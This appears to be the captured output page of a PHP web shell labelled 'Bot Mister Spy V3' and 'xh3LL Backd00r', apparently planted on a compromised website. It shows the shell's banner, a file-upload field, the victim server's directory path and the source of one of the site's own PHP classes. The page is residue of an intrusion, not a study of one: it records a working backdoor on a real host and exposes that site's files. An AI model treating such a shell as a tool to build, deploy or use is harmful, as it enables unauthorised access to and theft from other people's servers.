Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.grupo.php

<?php

require_once('class.usuarios.php');
require_once('class.usuariosnewsletter.php');

class Grupo
{
	public $IdGrupo;
	public $IdTipo;
	public $Nombre;
	
	public function ParseFromArray(array $arr)
	{
		$this->IdGrupo 	= $arr['IdGrupo'];
		$this->IdTipo 	= $arr['IdTipo'];
		$this->Nombre 	= stripslashes(stripslashes($arr['Nombre']));
	}


	public function CanDelete()
	{
		if (count($this->GetAllUsuarios()) > 0)
			return false;

		if (count($this->GetAllUsuariosNewsletter()) > 0)
			return false;
			
		return true;
	}


	public function GetAllUsuarios()
	{
		$Usuarios = new Usuarios();
		
		return $Usuarios->GetAllByGrupo($this);
	}


	public function GetAllUsuariosNewsletter()
	{
		$UsuariosNewsletter = new UsuariosNewsletter();
		
		return $UsuariosNewsletter->GetAllByGrupo($this);
	}
	
	
	public function GetCountUsuarios()	
	{
		switch ($this->IdTipo)
		{
			case GrupoTipo::Web:
				$Usuarios = new Usuarios();	
				return $Usuarios->GetCountByGrupo($this);
				break;
				
			case GrupoTipo::Newsletter:
				$UsuariosNewsletter = new UsuariosNewsletter();
				return $UsuariosNewsletter->GetCountByGrupo($this);
				break;
			
			default:
				break;
		}
	}
	
	
	public function GetCountUsuariosNewsletter()
	{
		$UsuariosNewsletter = new UsuariosNewsletter();
		
		return $UsuariosNewsletter->GetCountByGrupo($this);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat